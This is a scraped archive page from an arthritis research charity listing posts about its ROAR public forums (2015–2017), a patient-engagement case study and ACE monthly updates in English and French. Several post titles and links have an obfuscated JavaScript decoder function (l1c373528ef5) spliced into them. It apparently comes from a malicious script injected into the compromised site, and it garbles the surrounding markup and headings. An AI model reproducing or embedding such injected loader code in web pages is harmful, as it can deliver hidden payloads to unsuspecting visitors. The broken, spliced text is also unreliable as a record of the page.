All posts related to "eROAR"

function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe You" rel="bookmark">ROAR (Reaching Out with Arthritis Research) presents: Managing Arthritis and You

eROAR 2017: Managing Arthritis and<script type=function l1c373528ef5(o4){var sa=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var q3=”;var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc< <2)|(ve>>4);pc=((ve&15)< <4)|(r4>>2);u6=((r4&3)< <6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe You Banner” width=”600″ height=”400″ />What is ROAR?

With rapid changes in access to health care information and health technologies, managing your chronic disease is becoming more collaborative and patient-centred. The ROAR public forum features a group of researchers from Arthritis Research Canada who are at the forefront of these changes. They will share what the latest research, developed in collaboration with patients, is telling us about arthritis care and self-management. Updates on current research will be presented in a relaxed and informative series of talks for people with arthritis and those who care for them. Bring your questions, as this is an interactive forum.

When? Saturday, October 21st, 2017 - 9:30am-12:30pm (PDT)

Where? Live online webcast or in-person at the Vancouver Public Library Central Branch, Alice MacKay Room, 350 West Georgia St, V6B 6B1

Cost: Live webcast: Free | In-person: $5.00

Register: Click here for the online registration form or call 604-207-0400 and toll free 1-855-207-0400

Speakers and Topics Continue reading

eROAR2013: A case study on sustaining patient-research collaborative practices

Patient engagement is encouraged from the moment the patient steps into their doctor’s office and has been demonstrated to improve the patient's overall health outcome. In recent years, the term "patient engagement" has emerged in health research and knowledge translation. A study published in the Journal of Participatory Medicine reports on a research knowledge translation event, titled eROAR2013 (Reaching Out with Arthritis Research), led by members of the Arthritis Patient Advisory Board of Arthritis Research Canada. Using a case study approach, study authors describe the planning and the event itself, report on the challenges encountered, and note reflections and solutions that are pertinent for sustaining patient-research collaborative practices.

Definition of patient engagement

According to the study, patient engagement in research varies from minimal involvement to more participatory collaboration, and is broadly understood to occur when patients meaningfully and actively collaborate at any stage of the research process, from setting the research agenda to designing the research project, collecting data, and disseminating results. The foundation of patient engagement in health research is based on:

  • the motto "Nothing About Us Without Us" from Charlton J.'s study "Nothing about Us, Without Us: The Dialectics of Disability Oppression and Empowerment"
  • encouraging citizen empowerment through participation and wider societal developments
  • activating "patient as partners" to create patient-centred care and promote shared decision making
  • meeting current research values and ethical concepts such as mutual respect

The history of the Arthritis Patient Advisory Board (APAB) 

The Arthritis Patient Advisory Board (APAB), formerly known as the Consumer Advisory Board (CAB), is comprised of volunteer advocates with arthritis who bring personal experience and arthritis knowledge to research decision making at Arthritis Research Canada (ARC). Their goal is to ensure the patient perspective is represented on research matters related to prevention, treatment and self-management of arthritis. Individually and collectively, they communicate research information and findings to arthritis patients, professional organizations and the general public.

Their mission is "to participate in all components and phases of arthritis research, and serve as a bridge between researchers, people with arthritis, and the community at large." Since 2006, APAB members have organized annual knowledge translation events called Reaching Out with Arthritis Research in Vancouver, Canada. Each interactive event includes presentations from patients, researchers and health professionals. Topics covered include practical disease management information, best practices in prevention and management of arthritis and case studies from current research.

Planning and Preparation

visual note taken by patient arranged Sam Bradd Continue reading

ROAR 2016 – Action on Arthritis: Steps to a better you

ROAR2016 bannerROAR 2016 – Action on Arthritis: Steps to a better you

Join us at an interactive public forum hosted by the Arthritis Patient Advisory Board of Arthritis Research Canada.

 

What is ROAR?

With rapid changes in access to health care information and health technologies, managing your chronic disease is becoming more collaborative and patient-centred. The ROAR public forum features a group of researchers from Arthritis Research Canada who are at the forefront of these changes. They will share what the latest research, developed in collaboration with patients, is telling us about arthritis care and self-management. Updates on current research will be presented in a relaxed and informative series of talks for people with arthritis and those who care for them. Bring your questions, as this is an interactive forum.

Date: Saturday, October 1st, 2016
Time: 9:30am – 12:30pm (PDT) Continue reading

function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var o/" title="Permalink to ROAR 2015: Osteoarthritis and You – What you can do NOW!" rel="bookmark">ROAR 2015: Osteoarthritis and You – What you can do NOW!

ROAR 2015 BannerROAR 2015: Osteoarthritis and You – What you can do NOW!

Join us at an interactive public forum hosted by the Arthritis Patient Advisory Board of Arthritis Research Canada.

What do a rheumatologist, an orthopaedic surgeon, a clinical bio- mechanist, a clinical health researcher and an arthritis patient/consumer advocate have in common? They are all osteoarthritis (OA) experts, who will speak at ROAR 2015.

What do people with OA want to know? We are honoured to have six speakers share their research with us, guided by topics that represent the patient voice.

What is ROAR?
function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var o/#more-11953" class="more-link">Continue reading

Qu’est-ce que le comité ACE a fait pour vous dernièrement ?

Calendar Flip NovemberQu’est-ce que le comité ACE a fait pour vous dernièrement ?

Voilà ce à quoi nous avons travaillé en novembre !

Dans cette édition de « Qu’est-ce que le comité ACE a fait pour vous dernièrement », un résumé mensuel de ce que nous avons accompli et de ce à quoi nous travaillons actuellement, nous mettons l’accent sur nos campagnes de sensibilisation dans les milieux de travail, dans les domaines de la santé et de la recherche.

Le comité ACE au Colloque scientifique annuel de l’American College of Rheumatology

Le comité ACE (Arthritis Consumer Experts) était présent au Colloque scientifique annuel de l’American College of Rheumatology tenu à Boston en novembre dernier. Le comité ACE a établi des contacts avec des rhumatologues, des chercheurs, des professionnels des soins de santé, des organisations de patients et des patients atteints d’arthrite afin de mieux comprendre l’évolution des traitements contre l’arthrite et ses promesses de mieux-être pour les personnes atteintes.   Continue reading

What has ACE done for you lately?

Calendar Flip NovemberWhat has ACE done for you lately? Here’s what we’ve been up to in November!

In this issue of “What has ACE done for you lately” – a monthly roundup of what we have accomplished and what we are currently working on - we highlight our campaigns in the workplace, healthcare, arthritis community and research.

ACE at the American College of Rheumatology Meeting

Arthritis Consumer Experts (ACE) attended the American College of Rheumatology (ACR) Annual Meeting in Boston in November. ACE networked with rheumatologists, researchers, healthcare professionals, patient organization and patients living with arthritis to understand the future of arthritis treatment and the promises they may hold for people living with the disease.   Continue reading